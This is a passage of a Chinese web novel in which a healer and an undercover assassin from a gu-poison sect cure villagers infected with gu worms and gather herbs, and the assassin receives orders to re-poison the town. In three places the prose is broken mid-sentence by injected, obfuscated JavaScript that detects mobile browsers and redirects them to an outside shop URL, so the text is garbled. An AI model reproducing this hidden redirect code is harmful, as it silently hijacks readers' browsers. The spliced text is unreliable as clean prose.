她抓起桌上的肉包,狠狠咬了一口,又不小心被噎到,灌了好几口水。 思来想去,她也想不出其他办法,最后拍板决定,“反正也是死马当活马医了,那就试试吧!” 等她们吃完也不过卯时过半,还不到辰时。 云落英是想到什么就要立马去做的性子,她跑回房间拿上针囊,就立马招呼着顾轻行和她一起出发。 顾轻行想到还在睡梦中的两位男子,问道:“不去叫他们吗?” 云落英摇摇头,“时间不等人,我们早些去说不定还能救下一条人命。不过我在他们门前留了纸条,他们一醒就能看见了。” 顾轻行点头,走出客栈。 屋外阳光明亮,空气清心怡神,看着身边匆忙奔走的云落英,顾轻行第一次有了她是一名医师的实感。 11. 第 11 章 两人先去医馆抓了药。 知道她们有了治病的方法,崔掌柜特别积极地帮助她们抓药煎药,甚至没收她们药钱,只说过两天让她们帮忙外出采药。 拿上刚熬好的药,云落英提议说先去见一个病人。 她前两天才见过那人,正好处于刚中蛊的状态,浑身发热。 顾轻行点头。 虽然想先去给崔喜看病,但她也不确定这个方法能不能解蛊,能有个人先试试水也是好的。 走进一个略显凌乱的小院,一位阿嬷正拿着扫帚洒扫院落。 云落英见了立刻上前扶住她,语气焦急:“阿嬷!都说了你现在应该躺在床上好好休息!” 阿嬷明显因发热而双眼迷离,但仍不愿放下手中的活计,拍拍云落英搀扶的手,说:“能多做一点是一点嘛。” 云落英狠狠叹了一口气,一脸恨铁不成钢的模样。 她让顾轻行把扫帚拿走,扶着阿嬷走回屋内,告诉她今天她们过来是因为找到了治病的法子,只不过不确定能不能治好,问她愿不愿意一试。 阿嬷在镇上也听过关于这个病的传言,知道这个病染上了就是等死,愿意让她们下手去治。 云落英扶着阿嬷坐到床上,喂她服下刚熬好的药,又帮着她趴下,准备施针。 小小的屋子挤了三个人,气氛有些许凝重。 或许是因为汤药的原因,阿嬷的身体格外滚烫,连带着屋内也感觉十分燥热,云落英的额上渗出了点点热汗。 施针的过程不算困难。 一套行云流水般的针法利落结束后,云落英还有心思开玩笑:“明明喝药被扎针的不是我,怎么我现在却浑身火热。” 她一说完这句,就看到阿嬷的皮肤上发生一阵异动。 右膀大臂上突然凸出了一小坨肉块,正缓缓向小臂挪动。 云落英抓起阿嬷的手臂,看清她手腕上的黑点,等到蛊虫不急不缓地要挪到这处时。 手起刀落,血液喷溅而出。 顾轻行见状,眼疾手快地用事先准备好的瓶子扣住爬出的蛊虫,将其收入瓶中。 云落英则立刻拿起伤药,给阿嬷包扎伤口。 一系列事情做完,两人满头大汗,活像是褪掉了一层皮。 云落英将东西都收拾好,捂住胸口,缓一口气,说道:“真是吓死我了,我真担心我要是哪一步做错了,那就完蛋了。” 顾轻行见她手法利落,越发不觉得她是个像报告所说的次次不合格的绣花架子。 见云落英看向自己,她鼓励道:“你做的已经很好了。” 云落英撩了一把被汗浸湿的额发,灿烂一笑,自信地点头:“是吧,我也觉得我做的不错。” 床上的阿嬷经历一番治疗,现下竟是昏睡了过去。 云落英将她翻回正面,盖好被子,用手背感受了一下她的体温。 “我感觉好像没什么变化。” “应该还要再等一会吧。” 两人商量了一下,决定在这等到阿嬷醒来。 说罢,两人一齐看向装在瓶子里的蛊虫。 一只通体雪白的小虫正用它的头四处撞击瓶壁。 顾轻行晃了晃瓶子,就见那只小虫蜷缩起身子,看起来就像一颗白色的珠子。 云落英细细打量一番,在看见虫身上那细密的绒毛时后退一步,一脸嫌恶:“噫!好恶心!” 顾轻行也这样认为。 不过她身体里还有只更恶心的,她想。 云落英控制不住自己嫌弃的表情,离瓶子远远地说:“真难以想象,这种虫子在镇上居然还有近十只。” 她有些疑惑:“听说蛊虫很难培养,怎么在这里就像不要钱一般,随意挥霍。” 人们对于蛊虫的认知还限于苗疆之地的巫蛊之术。若是运入中原,不仅时间慢,路途遥远,蛊虫在路上很有可能因照料不当而死亡,因此中原的人们一直认为蛊虫数量稀少且神秘。 但衔月阁对于蛊虫的培养已经自成一套体系。 年幼的孩童自进衔月阁起就要与蛊虫相生相伴,学习蛊虫相关的知识。 长大后,根据课业成绩分配,部分人培育养护蛊虫,部分人则尝试研制新型蛊虫。 还有一部分人,就像顾轻行,则是成为杀手,完成任务获取佣金。 因为说到底,蛊虫还是阴邪之物,不能放在明面上大肆张扬。 衔月阁在外的形象更多的是一个雇佣组织,蛊虫更多的作用是取辅助之法,让人悄无声息地死亡。 竹溪镇中所用的蛊虫,对于衔月阁来讲,也不过就是洒洒水罢了。 有方法,有材料,就不担心没有蛊虫可以使用。 衔月阁的蛊虫,只多不少。 让人庆幸的是,万事万物皆相生相克,蛊虫也不例外。 再怎么阴辣狠毒的蛊虫,也有克制的方法。 面对云落英的疑问,顾轻行只是摇了摇头,说自己也不知。 云落英想不到答案,也不折磨自己了,把这个问题甩到一边,和顾轻行一起搬了两个矮凳,坐在床边等阿嬷苏醒。 大约过了一刻钟,床上的阿嬷转醒,一转头就看见床边两双乌黑的眼睛直直地盯着自己。 她被吓得咳了一声,声音沙哑地说道:“......两位姑娘。” 云落英见她醒来,赶忙将她扶起靠在床头。 “阿嬷,你感觉怎么样?” 阿嬷喝了一口顾轻行递来的茶水,又咳了两下,说:“我感觉身上好热,口干舌燥,尤其是腹中,格外滚烫,但是头并不像先前那样晕眩了。” 云落英帮她诊脉,又摸了摸她的额头,长舒一口气:“还好,应该是寻常上火的反应。等我们去医馆再抓服药,应该就能痊愈了。” 却没想到她一说完这话,阿嬷反倒言辞激烈地拒绝起来:“不可不可!二位姑娘替我治病,还不收银两,我感激还来不及,怎能再麻烦你们去抓药?再说,上火事小,我自己多喝水,就会慢慢转好了。” 阿嬷抓住云落英和顾轻行的手,用拇指慢慢摩挲,年迈的双眼注视着她们,眼角却有一颗晶莹的泪珠。 “我本就是块老骨头了,活不了多久。说实话,染上绝症时我心里本没什么想法,寻常小病我也只等它自己康复。老伴早亡,儿孙在外,不常归家,我早已习惯一个人生活,也接受了独自死去的结果。但是二位姑娘有菩萨心肠,不曾放弃我这把老骨头,反而细心医治,实在是多谢,多谢啊!” 顾轻行低头,感受着手背上被老茧摩擦的触感。 阿嬷的指节粗大,指头上长满了因长期做工产生的茧。 黝黑的皮肤与云落英和顾轻行皆形成了鲜明的对比。除此之外,还有悠长岁月在皮肤上留下的深刻纹路。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285925|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >明明就是这样一只粗糙且普通的手掌,温度却顺着手心一丝一缕地流向心间。 顾轻行抿唇,余光瞥见云落英潸然泪下的脸,只能克制住自己想要将手抽出来的冲动。 云落英上前拥住阿嬷,轻柔地抚着她的背,“阿嬷,我们还回来看你的。” 阿嬷笑着点头,想要下床送她们离开,却被云落英按在床上。 走出小院,顾轻行还是有些恍惚。 云落英拉住她的手,声音清脆地向她道谢:“轻行,真的是太感谢你了!没有你,我怕是真的要放弃这些病人了......” 说着说着,她的情绪低落下去。 顾轻行不知如何回答,只是微笑着,慢慢向前走,安抚她说:“别这样想,现下能治好他们就已经很好了。” 云落英想也是如此,甩甩头把不愉快的情绪抛诸脑后,拽住顾轻行向前跑去,“那我们可得快点回医馆了,毕竟还有那么多人等着我们呢!” —— 两人刚走到医馆门口,就见沈游风一脸不耐地在门口抱臂站着。 一看到她们,就转头朝医馆里头喊道:“宋之微——她们回来了!” 只听医馆内传来一阵急促的脚步声,宋之微一袭青衫,面色担忧地走向云落英:“落英!” “之微哥!”云落英向前走去,任由宋之微将她前后左右检查一番。 “没事吧?可有被蛊虫伤到?” “哎哟当然没事啦,你还担心我的医术?”云落英拍拍他的肩,让他放心。 “正是因为你的医术,才需要担心啊。”沈游风在旁边轻飘飘地传来这么一句。 云落英狠瞪他一眼,一手拉着顾轻行,一手拉着宋之微,走进医馆。 一进医馆,顾轻行就闻到一股浓烈的苦涩药味。 她问崔掌柜:“这是怎么了?” 崔掌柜眉眼弯弯说道:“趁着你们两位去治病的间隙,我和二位公子就在医馆将所需汤药煎好了,就等你们回来能够立刻拿去用。” “只不过......”她又说,“药柜里的药不太够,只煎了五份,剩下的还需你们亲自到竹林里去采药了。” 云落英正在向宋之微和沈游风展示她们捉到的那只蛊虫,听到这话,立马闪到顾轻行背后,撅着嘴嘟囔:“怎么办,轻行,我不能没有你。” 沈游风平日里脑子不灵光,不成想现下倒是听懂了云落英的言外之意:“你什么意思?看不起我和宋之微?” 云落英朝他比了个鬼脸,不理他,走到宋之微身旁,拽拽他的衣袖,轻声说:“之微哥,治疗最后要在割开伤口时立刻抓住蛊虫,轻行她眼疾手快,若不是她,我怕会把蛊虫放走。可若是你和沈游风去竹林采药,凭你俩的身手,我也担心......” 宋之微像是回想起了竹林旧事,轻咳一声,耳尖微微泛红,求助地看向顾轻行。 顾轻行沉吟,与他们商量着说:“这样吧,宋公子跟着我和落英,先在一旁看我是怎样做的,看完以后我再指导宋公子。” “别担心,其实挺简单的。”她安慰他们。 这样说完,云落英和宋之微都没有异议。 沈游风见根本没人在意自己的去向,急得在旁边大喊:“那我呢?那我呢!” 顾轻行见他又跳又叫的样子,难得轻松一笑,直接宣判了他的归属:“你跟我去采草药。” 12. 采药 顾轻行和云落英起得早,就算忙活了一上午,现在也不过将将午时。 众人吃过午饭后收拾一番,拿上备好的汤药,往崔欢家中赶去。 春日的正午阳光格外暖融,打在顾轻行的侧脸,发出莹润的光。 沈游风无意间瞥见,心头一跳。 他听云落英说了,治病的法子是顾轻行提出的。 初次见她,浑身是血,只觉凄惨又可怜,不过就是多了张吃饭的嘴,带上她也无可厚非。 只不过短短几天时间,她身体还没恢复完全,却不仅救他,还帮助镇上居民,甚至对巫蛊之术也略有涉猎,又让人觉得强大又可靠。 过后他们两人要单独去竹林里采药,虽然沈游风对毒蛇仍心有余悸,但他竟隐隐有些期待。 小喜听崔掌柜说他们要去给姐姐治病,走在他们前面,在路上一蹦一跳的,两个小啾啾也在头上甩来甩去,是以前从未见过的轻松活泼。 有了第一次的经验,顾轻行和云落英两人这次配合默契,轻轻松松就将蛊虫逼出体内。 不过可能因为蛊虫入体已经有一段时日,云落英扎针时下手重了些,顾轻行刚捉住蛊虫,崔欢就流下了两行鼻血,吓得小喜紧紧抓住崔欢的手,寸步不离地守在床边。 云落英擦了擦额角的汗,用冷水浸湿帕子,轻轻敷在崔欢的额头上,并裁了块干净布条,塞进鼻孔里止血。 崔欢在蛊虫逼出时就昏了过去,躺在床上无知无觉。 众人本想等崔欢醒后再离开,可是小喜知道镇上患病的人还有许多,时间非常宝贵,就跟他们说自己留下来照顾姐姐就可以。 云落英拗不过小喜,只得无奈地叮嘱她要做些什么。 顾轻行弯下身子揉了揉小喜的脑袋,也叮嘱她:“那小喜一定要认真照顾姐姐,有什么问题的话一定要赶去医馆找崔掌柜。” 小喜重重点头,“我会的!” 到了下一家,顾轻行在一旁看着宋之微捉蛊虫。 虽然宋之微此人看起来就颤颤巍巍且不会挥剑,但至少捉虫时手还算稳当,不至于令虫逃跑,勉勉强强让人放心。 云落英也不吝啬自己的夸赞:“之微哥,干得真不错!” 宋之微仔仔细细检查了一番瓶中蛊虫,确保塞子扣紧,蛊虫不会跑出,嘴角微扬,朝云落英露出一抹温和笑意。 沈游风一个人站在一边,无所事事,众人默契地不让他经手这件事,生怕出什么岔子。 这家的病人正好是他们刚到竹溪镇时无意间听到的铁匠铺的儿子,或许是体质比较好,没有昏倒,正一个劲地拉着云落英的手向她道谢,说是等他痊愈之后必将好好报答他们,可以为他们的佩剑打磨润色。 见他们三人与病人和乐融融,早就把自己忘到九霄云外去,沈游风不自觉冷哼一声,可是一想到马上就能和顾轻行两人单独外出采药,又希望他们能早点结束了事,不要再这一家继续拖延时间。 总算等他们做完那套答谢戏码,沈游风立马窜到顾轻行旁边,迫不及待地对她说:“那我们现在去采药吗?” 还没等顾轻行回答,云落英就无语地说:“沈游风你疯啦?轻行今天一整天都在忙,你还不让她歇一会?” 沈游风挠头,显然没想到这个问题,心里又在暗自懊恼自己的莽撞。 顾轻行轻轻摇头,示意自己没有很累。她看了眼外面渐渐西沉的日头,提建议说先吃晚饭,正好可以休整一下。 饭后,天色将暗,薄暮笼罩天色尽头,顾轻行几人住的算是镇上比较繁华的地带,街上挂满了街灯,灯火通明。 等顾轻行与沈游风收拾好,走到竹林时天已彻底暗了下来。 夜晚的竹林一片漆黑,光是站在外面就让人心生畏惧,幽深静谧,里面像是潜藏着某种野兽,伺机将闯入其中的人吞吃腹中。 沈游风不敢乱跑,亦步亦趋地跟在顾轻行身后。 顾轻行手上提着灯笼,背上还背着竹篓,本就不易行动,还要忍受沈游风时不时的靠近。 但她想着要与他打好关系,还是忍着没将让他离远点的话说出口。 可是没想到沈游风却更加变本加厉,只是一阵风扫过竹叶发出的沙沙声,就能把他吓得浑身震颤,整个身子几乎都要贴在她的身上。 “顾……顾轻行,那是什么?” “……只是一阵风。”顾轻行无奈扶额,温热的气体扑在耳边,让她浑身不适应。 “......哦,哦。”沈游风讪笑,察觉到二人间过近的距离,稍稍往外迈出一步。可一出脚又觉得害怕,还是缩了回来,靠得离顾轻行更近。 “你这胆子也太小了吧。”顾轻行觑他一眼,尝试抽动被拽住的手臂,发现根本没用,不咸不淡地随口吐槽。 沈游风虽自知理亏,可从小就做惯了霸王,理直气壮地嘟囔道:“我这是一朝被蛇咬,十年怕井绳!再说了,我要是又被咬了,还要辛苦你把我背回去,是不是?” 说罢,把顾轻行的衣袖拽得更紧。 顾轻行扯扯嘴角,知道今晚注定要这样采药了,也不再过多挣扎,就当自己带了某个重物吧。 即使他们一人提了一盏灯笼,可竹林里的光线仍旧昏暗,四周一片漆黑,只能看见六七尺以内的事物,再远就看不清了。 顾轻行蹲在草丛边,将灯笼放在脚旁,从袖中取出崔掌柜给的参考,小心比照着,确认相差不大才从那堆草里抓出一株来扔进篓里。 他们要采大约五六种药草,崔掌柜说这几株药草在竹林外围就能找到,且特点鲜明,十分好找。而且时间紧迫,最好今天就能全部采完,明天带去治病。若非如此,他们也不至于大晚上的跑来采药。 就在顾轻行忙着采药的同时,沈游风手上正抓着两把药草不停翻看,嘴里不自觉地抱怨:“这些草不都长一个样子吗?怎么采啊!” 顾轻行这几天真是听了他的无数句抱怨,已经能够熟练地置若罔闻,任他在那小声嘀嘀咕咕,也不会影响她手下的工作。 她想,或许只有蠢人才会如此喜欢抱怨。 沈游风左思右想也看不出手上药草是否一致,于是悄悄蹭到顾轻行身边,用干净的胳膊肘轻轻戳她,“顾轻行,你看看这株药草,是我们要找的吗?” 顾轻行转头,看见他手上几乎两模两样的药草,实在没忍住,脱口而出道:“你是笨蛋吗?” 沈游风像是没想到她会这么说,嘴角和眼角都耷拉下来,满眼委屈,手上抓着的药草也差点滑落。 顾轻行无奈叹气,抓住他的手,把药草放回去,给他解释:“你看崔掌柜给的这株,根茎粗壮,叶片四周圆滑,而你刚刚采的这株,根茎瘦小,且叶片粗糙,你用手摸一下,是不是有刺痛感?” 四下昏暗,为了看清药草,两人本就靠得近,顾轻行这一抓,几乎是手贴着手,脸贴着脸,沈游风能够清楚地听见对方的呼吸声,面颊上也能感受到对方呼气时喷出的暖流。 几乎是一刹那的时间,沈游风的脖子到耳朵就彻底红透了。 可惜顾轻行一心教学,并没有在意这些细节。她迟迟没听见沈游风的回答,语气稍稍有些严厉:“你有在认真听吗?”她又瞥见沈游风红红的耳朵和脸颊,微微皱眉:“你是被风吹得很冷吗?” 沈游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285926|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风听到她的话立刻回神,疯狂摇头说:“不不不,我一点也不冷。嗯嗯,我在认真听。你说这个叶片比较粗糙,我摸摸。” 说罢,他将手指放在叶片边缘,只是轻轻一划,一股刺痛就从指尖传来。一滴鲜红的血珠从他指尖冒出。 “嘶,好痛!”沈游风发出一声痛呼。 虽然只是一道小口子,但他却没想到竟然如此之痛,痛得他现在头脑格外清明。 沈游风左手包住右手,只有一根食指大剌剌地伸出。他用嘴轻轻朝伤口处吹气,顺便悄悄抬眼看顾轻行,看她的眼神根本不在自己身上,刻意将声音放大,又说了一遍:“好痛。” 可顾轻行只是随便一瞥,没当回事,淡淡回他:“你放着不管,过一会儿就好了。” 沈游风低头一看,果然已经不冒血了,甚至都已经没了什么痛感。 他收回手,觉得自己自己有点小题大做。可能是这竹林太过幽暗,放大了他心中的恐惧,也可能是顾轻行在他身边,让他在这可怕的环境中有了安全感。但顾轻行如此冷漠的态度,也让他心中有些别扭地难过。 他想表明自己并不怕痛,对手上有一个小伤口也毫不在意,可话到了嘴边一出口,却不是他想的那个意思。 落到顾轻行耳里,就是一句委屈巴巴的“好吧”。 顾轻行知道他是被宠爱着长大的少爷,但这几天相处下来,也看得出他并不是一点苦都不能吃。却没想到今晚的他竟如此柔弱,不过就是被草割了点小伤,就一脸受不了的模样。 虽这样想,她还是开口安慰道:“别担心,这种小伤口很快就好了。采药的事,你若实在分不清,就把你觉得差不多的都采回去,在医馆里重新挑拣也是可以的,不要给自己太大压力。” 眼见着沈游风默默点头答应,顾轻行也满意点头,转过身继续采药。 过了不久,顾轻行附近一块地的草药几乎都被她采光了,沈游风也没闲着,一直往竹篓里扔草,里面的量甚至比顾轻行采的还要高出一截。 “我们去其他地方采吧。”顾轻行起身,捶了捶因为长时间弯腰略微有些发酸的背。 “好。”沈游风没多说,立马起身,结果一站起来就两眼发黑,差点跌倒。 顾轻行伸手扶住他,等他站稳,对他说:“你现在应该适应一些了吧?等下我们可以去不同的地方采,这样快些,可以早点回去。你要是遇到危险了就大声叫出来,我会立马赶过去的。” 沈游风下意识接话:“我不会叫的。” 顾轻行疑惑:“你不叫,我怎么知道你遇到了危险?” 沈游风没过脑子冒出来这么一句话,他只是觉得遇到危险就叫出来很丢人,他承认自己需要受人保护,可他还是有尊严的,怎么能做出这种事? 而且还是在顾轻行面前,为什么他感觉他总是在她面前做尽丢人之事?他不想这样,他希望自己能够帮助她,不想总是拖后腿。 不过幸运的是,直到采完药草,他都没碰上什么野兽,顶多就是有些小飞虫一直围绕在他身边,惹人厌烦。 两人并肩走在一起,顾轻行的竹篓装了一半多,沈游风的竹篓里满满的,装的也不知道是真的草药,还是杂草。 顾轻行想起宋之微那体弱的模样,又想起两人一同长大,估计体质也相差不大,友好询问他:“需要我帮你背吗?我这筐应该比较轻一点。” 沈游风没想到自己会被这么看不起,牢牢抓紧背带,像是要把整个竹篓嵌在自己身上,语气生硬地回答:“不需要。” 顾轻行感叹,明明是想帮他,不成想又惹人生气,这少爷脾气真是不好相处。 13. 任务 等顾轻行和沈游风回到医馆,已经戌时三刻了。 镇上大多数店面已经熄灯,只有崔掌柜的医馆还点着灯笼,高高挂在门前,像是在等待夜晚归家的孩童。 云落英自治病回来后就一直在医馆门口焦急地等待,一看见他们背了满满两大篓草药回来,她眼前一亮,立马上前帮他们将竹篓拿下。 见沈游风采的竟比顾轻行还多,云落英面露疑惑,但还是夸赞他说:“没想到你还是能起点作用的。” 刚摘下来的草药上还带有残存的泥土,她并不犹豫,径自将干净的手伸进去来回翻弄,只是她越翻表情就越奇怪,最后还是忍不住怒斥道: “沈游风!你这采的是药草还是杂草啊?!” 沈游风自知不妙,摸摸鼻子,脑袋一缩,躲在顾轻行背后。 顾轻行上前一步,拿起自己的竹篓递给云落英,“落英,你看看我采的草药,是对的吗?” 云落英翻看两下,露出大大的笑容,声音惊喜:“轻行!还是你最靠谱了!” 众人围绕在一个案几旁,先将顾轻行采的草药挑拣出来,分门别类装好,再将沈游风竹篓里的草全部倒出摊在桌面,从中挑挑拣拣择出有用的药草。 这沈游风看着哼哧哼哧一直在埋头采了一箩筐的草药,结果内里全是水份。最后挑出来真真正正能用的草药只有顾轻行采的一半多一点。 不过其他的也不全是杂草。 云落英从中捻出一根,在沈游风面前晃动:“哇!没想到你还采了棵毒草呢!” 沈游风定睛一看,这不就是划破他指尖的可恶的草吗?没想到他随手一扔竟然扔进了竹篓? 一旁云落英还在絮絮叨叨:“此草毒性强,可麻痹人的四肢及五脏六腑,用它做成的毒药是杀人越货的不二法宝。不过......” “有,有毒?!”沈游风声音惊恐,打断云落英的话,连忙说:“那我被它划了一道口子,岂不是中毒了?” “哪儿呢?我看看。” 云落英将头凑过来看沈游风伸出的指尖,扑哧一笑,嘲笑他:“你这算啥伤,你胆子也太小了吧!之微哥,你也来看看。” 宋之微一看,也笑道:“游风,你有点小题大做了。” 云落英接上她刚刚没说完的话:“不过这株毒草必要时也可以当作治病的药,只是要严格把控好量。像你这种没多会儿就痊愈的小伤口,就算想中毒都没机会。” 沈游风知道自己没中毒,松了一口气,才后知后觉感受到自己又被戏耍了。 他懒得理那对蛇鼠一窝的表兄妹,转头看向顾轻行,只见顾轻行也正望着自己,嘴角噙着一抹淡淡的笑。 沈游风心中骤然升起一股对视的羞涩,下意识撇开双眼。 还没等他搞清楚自己为什么会有这种感受,脑中随之而来的还有一句:“你是笨蛋吗?” 沈游风又蓦地转头看顾轻行,她还是刚刚那副模样,什么话都没说。 明明她什么都没说,可这句话却蓦然出现在他的脑海之中。 他沈游风长这么大,除了他爹,从未有人说过他是笨蛋。 明明应该是让人生气的事,可是,可是...... 为什么他看到她嘴角的笑,心里却想和她多说几句话? 明明这是嘲笑不是吗。她在嘲笑他,她说他是笨蛋,为什么他一点都不生气? 他甚至还不敢和她对视! 沈游风现在真觉得自己是个脑子不好的笨蛋了。 他心中有一种冲动,想要去问顾轻行,为什么说他笨,他究竟哪里笨了。 一抬眼却看见顾轻行正言笑晏晏,与云落英和宋之微交谈,眼神没有一丝放在他的身上。 太可恶了!沈游风心想。 她根本不知道她那句“你是笨蛋吗”给他带来了多少情绪波动,还根本不在意他! 经历了一番激烈的天人交战后,沈游风决定这几天不要和他们三人说话了,尤其是可恶的顾轻行。 —— 这边,顾轻行与云落英一起将分好的草药放进药柜。 她们本来还想留下了帮忙煎药,但被崔掌柜催着回去休息,说她一个人煎药就可以了。 云落英今日累了一整天,早就头晕目眩,谢过崔掌柜后就拉着顾轻行迫不及待地回客栈休息。 在入睡前,她还不忘跟顾轻行说:“对了轻行,你明日就在客栈好好休息吧,今天让你和沈游风一起去采草药真是辛苦你了,他肯定麻烦了你很多。明日我和之微哥去给最后几家人治病,再观察几天,我们就离开这个镇子。” 说完,她打了个哈欠,倒头就睡。 顾轻行应了一声,帮她抚平被子。 夜晚顾轻行躺在床上,听着身边云落英绵长的呼吸声,只觉得全身心的放松。 她还是想第无数次感叹,这个任务,真的太轻松了! 说实话,相比于之前手起刀落的暗杀任务,她以为获取一伙人的信任是更难的,毕竟人心难测,可能他们上一秒还对她深信不疑,下一秒就因为某处细节而对她产生怀疑。可是这三位简直是不管心里想着什么都直接摆在面上,一眼便能看透,完全不用担心什么弯弯绕绕。 就连最初对她疑虑颇深的宋之微,现在在她眼中也是一脸呆相,甚至还不如云落英看着聪明。 真的是涉世未深啊,顾轻行咂舌。 不过她还是很疑惑,这个任务真的有这么轻松? 过久了在刀尖舔血的日子,现在的安宁反而让她惴惴不安,精神处于极度紧绷的状态,夜间一点风吹草动都能使她惊醒。 夜渐深,万籁俱寂。 伴着身侧悠久绵长的呼吸,顾轻行也渐渐闭上双眼。 一夜无梦。 叫醒她的是云落英起床的动静。 她睁眼时,云落英刚穿好衣服,正将针囊装进她的包袱内。 虽然可以听出她有在刻意压低声音,但还是会时不时传来瓷器碰撞的叮叮当当声。 见顾轻行被自己吵醒,云落英做出万分抱歉的神情,小声对她说:“抱歉抱歉。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285927|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻行摇摇头示意没事,虽然已经清醒,但还是闭上眼,听着云落英收拾东西的声音。 等她出门后,才从床上坐起,走到窗边。 一开窗,就看到那只熟悉的黑色信鸽,乖巧地站在窗沿,腿上绑着信筒,正睁着一双豆大的黑眼珠歪头看她。 刚刚她一醒来就听到窗边传来清晰的笃笃扣窗声,幸好云落英的动静恰好将其掩盖,也就没有人注意到它用鸟喙啄窗的声音。 顾轻行弯起指节打它脑门,笑骂:“你这只蠢鸟。” 蠢笨的信鸽听不懂自诩聪明的人的话,只顾抖动翅膀,翘起那只短腿,催促她赶快将绑在它腿上的这个让鸟难受的东西取走。 顾轻行看它一脸蠢相,用力揉揉它的圆脑袋。 取下信筒拿出信时心里还在猜测内容,不知是有新的任务,还是怪罪她擅自救人。 只是摊开信纸一看,顾轻行的眉头越皱越紧。 那人是脑子里进蛊虫了?让她做这么无理取闹的事情。 竟让她以血养蛊,再重新给镇上居民下回去?甚至让她以此为由来威胁云落英等人。 简直荒谬。 若是刚到镇上的顾轻行,可能会心无杂念地完成任务。 但经过这几天的相处,顾轻行承认,她确实做不到。 人与人之间的感情很奇妙,有些人明明是初次见面,就会在心中建立连结,就像她与崔欢,她与崔喜。也有些人是在一天天的相处中逐渐熟悉,就如她与崔掌柜,与云落英等人。 说起来,这还是顾轻行第一次单独离开衔月阁这么长一段时间。 从前的任务,大多是三天内就能完成,最长不超过五天,而且都是几人合作完成。一人负责打探情报,一人负责统筹布局,还有一人或几人负责埋伏暗杀。 顾轻行一般是负责暗杀的人。 她会先抱臂守在暗处,等目标出现后,找准时机,一击必中,杀完人后利落离去,从不会与目标对象产生额外的纠葛。 这么一想,他们于她而言还真算特殊。 至于信中所说的放血养蛊之事...... 顾轻行一直知晓,她的血对于蛊虫而言有某种功效,她之所以会被带到衔月阁,也是出于这个原因。 小时候每次放完血,过一段时间,若是有一双慈爱的大手抚过她的脑袋,顾轻行就知道,是她的血起到了某种作用。 对于衔月阁而言,她只是一个工具。 年幼时不懂,就这样受人哄骗,被带回衔月阁。虽然发现不对劲,却已无法脱身。 信中的内容还有威胁云落英她们。 她实在不懂,这不是和她本来的任务冲突了吗。 既要获取他们的信任,又要以镇上居民的姓名胁迫他们,实在难以理解。 顾轻行只觉那人要么就是蛊虫反噬,毁了他的脑子,要么就是单纯看她救人不爽,想要来找茬。 将信纸销毁后,顾轻行面无表情地想,他布置任务是一回事,至于她是否会按要求完成任务,就是另一回事了。